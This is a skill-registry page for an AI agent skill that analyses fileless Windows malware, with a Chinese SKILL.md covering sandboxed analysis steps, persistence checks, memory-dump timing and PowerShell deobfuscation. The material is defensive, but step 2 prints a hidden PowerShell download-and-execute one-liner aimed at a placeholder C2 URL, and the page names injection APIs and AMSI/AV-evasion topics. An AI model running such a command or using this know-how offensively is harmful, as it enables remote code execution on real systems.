re-fileless

Installation
Run `npx skills add "https://github.com/dslsdzc/rev-skills" --skill "re-fileless"` to install this skill, then follow its SKILL.md instructions for my next request.

Paste this into Claude Code, Cursor, or any agent that can run commands.

What this skill does
What it does: - Analyzes malware that runs in computer memory without saving files to disk - Traces how the malware gets downloaded and executed - Finds how the malware stays on the computer after restart - Decodes hidden PowerShell commands and scripts When to use it: - Antivirus software detects suspicious behavior but no malware file is found - You need to understand how malware runs in memory - You need to trace where malware comes from and how it stays on the computer - You received a suspicious email with a script or link that downloads malware - Do not use this if you already have the malware file to analyze normally
SKILL.mdShow the author's original SKILL.md (not in English)
---
name: re-fileless
description: >
  无文件恶意软件:内存执行、持久化、PowerShell 链。
  触发词:无文件、fileless、内存执行、PowerShell 无文件、注册表持久化
---

# 无文件恶意软件分析

## 何时使用 / 何时不用

- 用:样本不落盘(无文件)——内存执行、PowerShell 下载执行、WMI/计划任务、注册表运行键承载载荷
- 用:回答"无文件载荷怎么进来、怎么执行、怎么持久化"三条链
- 用:杀软/EDR 告警只有行为与网络特征、没有文件物证的分析(与 [[re-evasion]] 的 AMSI/ETW 对抗衔接)
- 不用:有落盘样本的常规行为分析(那是 [[re-behavior]]);纯脚本静态解码(那是 [[re-script-deob]])
- 不用:只分析载荷本体不关心执行链(转 [[re-binary-core]] / [[re-shellcode]])
- 注意:本技能以 Windows 为主(无文件/注册表/WMI/计划任务均为 Windows 生态);Linux/macOS 的对应物(bash/python 内存执行、LD_PRELOAD、systemd timer/crontab)按同一"执行链还原"框架套用

## 工具准备

无文件分析 = 动态执行 + 内存取证 + 脚本解码三线并行,全程在沙箱内([[re-sandbox]] 强制前置,[[platform-tips]] 最高原则)。所有工具先验证再使用。

### 动态分析环境(强制前置)

- [[re-sandbox]]: VM 快照 + 网络隔离(INetSim / fake DNS / 断网)——无文件样本常实时外联下载下一层,隔离必须先行
- [[re-tracing]]: 系统调用/进程行为跟踪(Windows procmon / Linux strace)
- 验证: 沙箱内 `ping 8.8.8.8` 不通;procmon/strace 能记录样本进程事件

### 内存转储与提取([[re-memdump]] 联动)

- gcore(Linux)/ procdump(Windows): 默认转储优先,见 [[platform-tips]]「直读 vs 转储」决策表
- 验证: `gcore --help`(安装见 [[re-memdump]] 工具准备);Windows 侧 Sysinternals procdump(`choco install sysinternals` 套件内)

### PowerShell 分析([[re-script-deob]] 联动)

- pwsh: Windows 内置;Linux: `apt install powershell`(Microsoft 源)或 `snap install powershell`;macOS: `brew install --cask powershell`
- 验证: `pwsh --version`;静态解码细节(-enc 解码、IEX 链、AST 提取)见 [[re-script-deob]]

### Sysinternals 套件(Windows 行为与持久化主力)

- `choco install sysinternals`(procmon / Process Explorer / autoruns / procdump)
- 验证: 管理员运行 Procmon64.exe 能记录事件;`autorunsc64.exe -a * -c` 能导出全部启动项
- 补充(可选): Sysmon(微软官网下载)配置 ProcessCreate(事件 1,记录父进程+命令行)与 NetworkConnect(事件 3)

### Windows 内置命令(零安装)

- `reg query`(运行键)、`schtasks /query /fo csv /v`(计划任务)、`Get-WinEvent`(PowerShell 事件 4104 ScriptBlock 日志)、`netstat -ano`(回连)
- Linux/macOS 侧: `ps -ef --forest`、`systemctl list-timers`、`crontab -l`、`cat /proc/<pid>/maps`

## 操作步骤

按顺序执行,每步产物(转储/日志/还原脚本)存档 sha256 + 路径([[re-ioc]] 证据链要求)。

1. **识别无文件迹象(无落盘/注册表载荷)**:
   - 输入信号: 杀软/EDR 告警"行为检测、无文件";沙箱运行后磁盘无新增样本但进程异常;网络层看到 powershell/rundll32 实时下载
   - 静态线索: 邮件/URL 附件是 .ps1/.hta/.docm(脚本链);注册表 Run 键或计划任务指向 powershell/wscript/mshta 命令行而非 exe 路径
   - 证据采集: 沙箱内运行([[re-sandbox]])→ procmon 全量记录文件/注册表/进程 → PowerShell 提前开 ScriptBlock 日志(事件 4104)与模块日志 → 启动前先 [[re-memdump]] 基线转储(见坑 2 时机)
   - 判定: "无文件" = 载荷不落盘或只在 %TEMP% 短暂中转——磁盘证据不足不代表没有执行链,内存与命令行才是主战场

2. **内存执行链还原(WMI/计划任务/PowerShell 下载执行)**:
   ```sh
   # PowerShell 下载执行(最典型)
   powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://c2/payload')"
   # 无文件执行的等价形式: rundll32 / mshta / regsvr32 加载脚本引擎
   # 还原方法: procmon 按进程树过滤(父→子),命令行逐个记录
   ```
   - 链还原顺序: 入口(宏/URL/邮件附件)→ 下载器(PowerShell/WMI 拉取)→ 解码([[re-script-deob]] 逐层还原)→ 内存注入(VirtualAlloc + WriteProcessMemory + CreateThread)或反射加载 .NET 程序集
   - 每层命令行走访: 父进程 PID → 子进程命令行 → 访问的 URL/注册表项——一条链一条记录
   - WMI 特例: `wmic process call create "..."` 或 WMI 事件订阅(__EventFilter/__EventConsumer 对)——父进程是 WmiPrvse.exe,命令行不在普通进程树里;用 `Get-CimInstance -Namespace root/subscription -ClassName __EventFilter` 与 `__EventConsumer` 枚举订阅,配合 Sysmon 事件 1 关联进程链
   - 计划任务变体: `schtasks /create ...` 注册任务,Action 是 powershell -enc 串——命令行本身带载荷,直接解码即得下一层

3. **注册表/计划任务持久化定位**:
   ```sh
   # 运行键(HKCU/HKLM Run 全家)
   reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /s
   reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /s
   reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /s
   # 计划任务(全量含隐藏项)
   schtasks /query /fo LIST /v
   # 自启动服务与 WMI 事件订阅(隐蔽持久化位)
   sc query type= all
   ```
   - autoruns 一把梭: `autorunsc64.exe -a * -c` 导出全部启动点,按"含 powershell/wscript/mshta/URL 的命令行"过滤——无文件持久化的共同特征: 启动命令是脚本引擎 + 远程 URL/编码串,不是 exe 路径
   - 计划任务隐蔽坑: 恶意任务常设隐藏标志(SD 删除权限/`/sc onlogon` 且无用户可见名)——必须 `/fo LIST /v` 全量导出手工比对,别只看默认列表视图
   - 时间线: 注册表项 LastWriteTime 与任务创建时间、告警时间对齐,佐证同一次入侵

4. **内存载荷提取([[re-memdump]] 时机)**:
   - 黄金窗: 下载→解码→注入的链上,**注入之后、执行之前**(VirtualAlloc 返回 + WriteProcessMemory 写完、CreateThread 启动前)——此时内存里是最完整的明文载荷
   - 操作: 动态调试([[re-gdb]] / [[re-x64dbg]] 断在注入点)或按 [[re-memdump]] 默认转储优先——gcore 全量转储后按特征找(MZ 头/熵块/脚本文本)
   - 无文件脚本载荷: 内存中直接搜脚本特征(`IEX`、`FromBase64String`、`DownloadString`、base64 长串)→ 提取后 [[re-script-deob]] 还原
   - 提取出的载荷立即 sha256 存档,再看"什么时候会释放"——执行完即释放的载荷错过时机就没了(见坑 2)

5. **与行为分析交叉([[re-behavior]])**:
   - 把步骤 2-4 还原的执行链交给 [[re-behavior]] 做行为侧验证: 进程树/注入/持久化清单/网络连接 + ATT&CK 映射(T1059.001 PowerShell、T1055 进程注入、T1547.001 注册表运行键、T1053.005 计划任务)
   - 交叉验证点: ① 命令行证据与行为日志一致(谁启动谁、何时注入)② 内存载荷与网络下载内容一致(sha256 对齐)③ 持久化位置与重启行为一致(快照恢复前复跑验证)
   - 产出: 完整执行链(入口→下载→解码→注入→持久化)+ 载荷样本(内存提取物)+ IOC(URL/域名/注册表键/命令行模式)→ [[re-ioc]] 写 YARA(内存特征为主)

## 跨域联合

- [[re-sandbox]]:动态执行强制前置(本技能全部运行步骤的底座)
- [[re-tracing]]:执行链的进程/API 观察(procmon/strace)
- [[re-memdump]]:内存载荷提取(默认转储优先,时机是关键)
- [[re-script-deob]]:PowerShell 下载执行链的逐层解码(本技能步骤 2/4 直接调用)
- [[re-behavior]]:行为侧交叉验证与 ATT&CK 映射(本技能步骤 5)
- [[re-evasion]]:AMSI/ETW 绕过、杀软内存扫描对抗(无文件样本常叠加,见坑 4)
- [[re-shellcode]]:内存中提取的纯代码载荷(非脚本形态)转 shellcode 专项分析
- [[re-netcap]] / [[re-protocol]]:下载执行链的 C2 流量捕获与协议还原
- [[re-ioc]]:无文件载荷的 IOC 收集(内存特征/命令行模式/注册表键)
- 引用 [[platform-tips]] 最高原则(默认沙箱)与「直读 vs 转储」决策表

## 常见坑与陷阱

- **无落盘导致取证难**:现象——磁盘上找不到样本文件,报告"无物证",结论站不住;原因——载荷全程内存/远程脚本/注册表运行键,常规文件取证抓不到;对策——运行前基线 [[re-memdump]] 全量转储 + procmon/Sysmon 记录命令行与网络 + PowerShell 开 4104 日志;结论以内存证据 + 命令行 + 网络流为准,[[re-ioc]] 收内存哈希类特征(与 [[re-evasion]] 的无文件取证坑同源)
- **内存载荷转储时机(执行完即释放)**:现象——dmp 里找不到载荷,或只有半截;原因——无文件载荷"注入后执行、执行完释放/自清除",转储太早(未解码)或太晚(已释放)都拿不到;对策——转储时机选注入之后、执行之前(步骤 4 黄金窗);多个时机各转储一次;看到完整载荷立即保存([[re-memdump]] 坑: 看到解密数据立刻保存)
- **PowerShell 混淆链多层**:现象——解开一层还有一层,越解越多;原因——下载执行链常多层编码叠加(base64 + 拼接 + 反转 + 变量替换);对策——按 [[re-script-deob]] 逐层解、每层存档编号(layer_01 → layer_02…),解完重跑识别,别跳层;IEX 在沙箱内替换为 Write-Host 拿下一层
- **杀软内存扫描对抗**:现象——沙箱里样本刚注入就消失/行为异常,观察不到完整执行链;原因——AV/EDR 内存扫描或 AMSI 在注入/执行时命中并清除载荷;对策——沙箱内先按 [[re-evasion]] 确认对抗点(AMSI patch/内存扫描时机),必要时降级或禁用沙箱内 AV 再复跑(快照回滚),结论注明验证环境

Mirrored from the author's public source. Install counts from the open skills registry.

The systems behind these skills get built for partners every week.

Partner with us